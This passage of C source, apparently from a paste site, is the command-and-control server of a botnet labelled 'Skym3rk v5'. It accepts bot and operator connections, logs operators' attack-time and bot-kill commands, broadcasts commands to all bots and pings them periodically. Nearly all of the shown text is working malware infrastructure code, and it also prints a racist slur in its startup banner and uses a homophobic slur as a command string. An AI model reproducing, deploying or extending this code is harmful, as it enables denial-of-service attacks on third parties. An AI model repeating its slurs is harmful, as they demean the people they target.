  671. if(strstr(buf, "3601"))
  672. {
  673. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  674. FILE *logFile;
  675. logFile = fopen("TIME.log", "a");
  676. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  677. fclose(logFile);
  678. goto end;
  679. } // max time
  680. if(strstr(buf, "9999"))
  681. {
  682. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  683. FILE *logFile;
  684. logFile = fopen("TIME.log", "a");
  685. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  686. fclose(logFile);
  687. goto end;
  688. } // max time
  689. if(strstr(buf, "99999"))
  690. {
  691. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  692. FILE *logFile;
  693. logFile = fopen("TIME.log", "a");
  694. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  695. fclose(logFile);
  696. goto end;
  697. } // max time
  698. if(strstr(buf, "999999"))
  699. {
  700. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  701. FILE *logFile;
  702. logFile = fopen("TIME.log", "a");
  703. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  704. fclose(logFile);
  705. goto end;
  706. } // max time
  707. if(strstr(buf, "3601"))
  708. {
  709. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  710. FILE *logFile;
  711. logFile = fopen("TIME.log", "a");
  712. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  713. fclose(logFile);
  714. goto end;
  715. } // max time
  716. if(strstr(buf, "3601"))
  717. {
  718. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  719. FILE *logFile;
  720. logFile = fopen("TIME.log", "a");
  721. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  722. fclose(logFile);
  723. goto end;
  724. } // max time
  725. if(strstr(buf, "3601"))
  726. {
  727. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  728. FILE *logFile;
  729. logFile = fopen("TIME.log", "a");
  730. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  731. fclose(logFile);
  732. goto end;
  733. } // max time
  734. if(strstr(buf, "3601"))
  735. {
  736. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  737. FILE *logFile;
  738. logFile = fopen("TIME.log", "a");
  739. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  740. fclose(logFile);
  741. goto end;
  742. } // max time
  743. if(strstr(buf, "3601"))
  744. {
  745. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  746. FILE *logFile;
  747. logFile = fopen("TIME.log", "a");
  748. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  749. fclose(logFile);
  750. goto end;
  751. } // max time
  752. if(strstr(buf, "3601"))
  753. {
  754. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  755. FILE *logFile;
  756. logFile = fopen("TIME.log", "a");
  757. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  758. fclose(logFile);
  759. goto end;
  760. }
  761. if(strstr(buf, "3601"))
  762. {
  763. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  764. FILE *logFile;
  765. logFile = fopen("TIME.log", "a");
  766. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  767. fclose(logFile);
  768. goto end;
  769. } // max time
  770. if(strstr(buf, "3601"))
  771. {
  772. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  773. FILE *logFile;
  774. logFile = fopen("TIME.log", "a");
  775. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  776. fclose(logFile);
  777. goto end;
  778. } // max time
  779. if(strstr(buf, "3601"))
  780. {
  781. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  782. FILE *logFile;
  783. logFile = fopen("TIME.log", "a");
  784. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  785. fclose(logFile);
  786. goto end;
  787. } // max time
  788. if(strstr(buf, "3601"))
  789. {
  790. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  791. FILE *logFile;
  792. logFile = fopen("TIME.log", "a");
  793. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  794. fclose(logFile);
  795. goto end;
  796. } // max time
  797. if(strstr(buf, "999999999999999"))
  798. {
  799. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  800. FILE *logFile;
  801. logFile = fopen("TIME.log", "a");
  802. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].username, buf);
  803. fclose(logFile);
  804. goto end;
  805. }
  806. if(strstr(buf, "LOLNOGTFO"))
  807. {
  808. printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].username, buf);
  809. FILE *logFile;
  810. logFile = fopen("KILL.log", "a");
  811. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].username, buf);
  812. fclose(logFile);
  813. goto end;
  814. }
  815. if(strstr(buf, "GTFOFAG"))
  816. {
  817. printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].username, buf);
  818. FILE *logFile;
  819. logFile = fopen("KILL.log", "a");
  820. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].username, buf);
  821. fclose(logFile);
  822. goto end;
  823. }
  824. trim(buf);
  825. if(send(thefd, "\x1b[0;31m~> \x1b[31m", 13, MSG_NOSIGNAL) == -1) goto end;
  826. if(strlen(buf) == 0) continue;
  827. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  828. FILE *logFile;
  829. logFile = fopen("report.log", "a");
  830. fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].username, buf);
  831. fclose(logFile);
  832. broadcast(buf, thefd, usernamez);
  833. memset(buf, 0, 2048);
  834. }
  835.  
  836. end: // cleanup dead socketgive
  837. managements[thefd].connected = 0;
  838. close(thefd);
  839. OperatorsConnected--;
  840. }
  841. void *telnetListener(int port)
  842. {
  843. int sockfd, newsockfd;
  844. socklen_t clilen;
  845. struct sockaddr_in serv_addr, cli_addr;
  846. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  847. if (sockfd < 0) perror("ERROR opening socket");
  848. bzero((char *) &serv_addr, sizeof(serv_addr));
  849. serv_addr.sin_family = AF_INET;
  850. serv_addr.sin_addr.s_addr = INADDR_ANY;
  851. serv_addr.sin_port = htons(port);
  852. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  853. listen(sockfd,5);
  854. clilen = sizeof(cli_addr);
  855. while(1)
  856. { printf("New BOTNET Connection From: ");
  857. client_addr(cli_addr);
  858. FILE *logFile;
  859. logFile = fopen("Connections.log", "a");
  860. fprintf(logFile, "IP:%d.%d.%d.%d\n", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  861. fclose(logFile);
  862. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  863. if (newsockfd < 0) perror("ERROR on accept");
  864. pthread_t thread;
  865. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  866. }
  867. }
  868.  
  869. int main (int argc, char *argv[], void *sock)
  870. {
  871. signal(SIGPIPE, SIG_IGN); // ignore broken pipe errors sent from kernel
  872. int s, threads, port;
  873. struct epoll_event event;
  874. if (argc != 4)
  875. {
  876. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  877. exit (EXIT_FAILURE);
  878. }
  879. port = atoi(argv[3]);
  880. printf("\x1b[31mScreened QRO Enjoy Niggers!\n");
  881. telFD = fopen("bots.txt", "a+");
  882. threads = atoi(argv[2]);
  883. listenFD = create_and_bind (argv[1]); // try to create a listening socket, die if we can't
  884. if (listenFD == -1) abort ();
  885. s = make_socket_non_blocking (listenFD); // try to make it nonblocking, die if we can't
  886. if (s == -1) abort ();
  887. s = listen (listenFD, SOMAXCONN); // listen with a huuuuge backlog, die if we can't
  888. if (s == -1)
  889. {
  890. perror ("listen");
  891. abort ();
  892. }
  893. epollFD = epoll_create1 (0); // make an epoll listener, die if we can't
  894. if (epollFD == -1)
  895. {
  896. perror ("epoll_create");
  897. abort ();
  898. }
  899. event.data.fd = listenFD;
  900. event.events = EPOLLIN | EPOLLET;
  901. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  902. if (s == -1)
  903. {
  904. perror ("epoll_ctl");
  905. abort ();
  906. }
  907. pthread_t thread[threads + 2];
  908. while(threads--)
  909. {
  910. pthread_create( &thread[threads + 2], NULL, &BotEventLoop, (void *) NULL); // make a thread to command each bot indivusernameually
  911. }
  912. pthread_create(&thread[0], NULL, &telnetListener, port);
  913. while(1)
  914. {
  915. broadcast("PING", -1, "Skym3rk v5");
  916. sleep(60);
  917. }
  918. close (listenFD);
  919. return EXIT_SUCCESS;
  920. }
Add Comment
Please, Sign In to add comment